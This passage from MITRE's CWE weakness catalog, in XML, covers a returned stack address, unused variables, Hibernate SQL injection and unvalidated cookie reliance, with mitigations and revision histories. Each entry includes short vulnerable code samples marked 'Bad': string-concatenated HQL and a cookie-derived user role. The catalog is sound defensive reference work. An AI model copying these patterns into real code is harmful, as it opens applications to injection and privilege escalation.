             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use static analysis tools to spot return of the address of a stack variable.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following function returns a stack address.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* getName() {<xhtml:div style="margin-left:1em;">char name[STR_MAX];<xhtml:br/>fillInName(name);<xhtml:br/>return name;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>DCL30-C</Entry_ID>
               <Entry_Name>Declare objects with appropriate storage durations</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS34-C</Entry_ID>
               <Entry_Name>Do not call putenv() with a pointer to an automatic variable as the argument</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Stack Address Returned</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="563" Name="Assignment to Variable without Use" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The variable's value is assigned but never used, making it a dead store.</Description>
         <Extended_Description>After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1164" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Unused Variable</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
               <Impact>Varies by Context</Impact>
               <Note>This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Remove unused variables from the code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code excerpt assigns to the variable r and then overwrites the value without using it.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>r = getName();<xhtml:br/>r = getNewBuffer(buf);</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC00-C</Entry_ID>
               <Entry_Name>Compile cleanly at high warning levels</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>MSC01-PL</Entry_ID>
               <Entry_Name>Detect and remove unused variables</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP2</Entry_ID>
               <Entry_Name>Unused Entities</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Name, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2014-06-23">Unused Variable</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Assignment to Variable without Use ('Unused Variable')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="564" Name="SQL Injection: Hibernate" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.</Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="89" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="89" View_ID="928" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="89" View_ID="1305" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>A non-SQL style database which is not subject to this flaw may be chosen.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String street = getStreetFromUser();<xhtml:br/>Query query = session.createQuery("from Address a where a.street='" + street + "'");</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="109"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="565" Name="Reliance on Cookies without Validation and Integrity Checking" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.</Description>
         <Extended_Description>Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="642" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="669" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="602" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid using cookie data for a security-related decision.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Add integrity checks to detect tampering.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-61">
               <Intro_Text>The following code excerpt reads a value from a browser cookie to determine the role of the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie[] cookies = request.getCookies();<xhtml:br/>for (int i =0; i&lt; cookies.length; i++) {<xhtml:div style="margin-left:1em;">Cookie c = cookies[i];<xhtml:br/>if (c.getName().equals("role")) {<xhtml:div style="margin-left:1em;">userRole = c.getValue();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP29</Entry_ID>
               <Entry_Name>Faulty endpoint authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="226"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="39"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Anonymous Tool Vendor (under NDA)</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-16</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Clarified name and description; broadened the definition to include any security-critical operation, not just security decisions, to allow for relationships with injection weaknesses.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Name, Potential_Mitigations, Relationship_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Use of Cookies</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-07-27">Use of Cookies in Security Decision</Previous_Entry_Name>
         </Content_History>
      </Weakness>
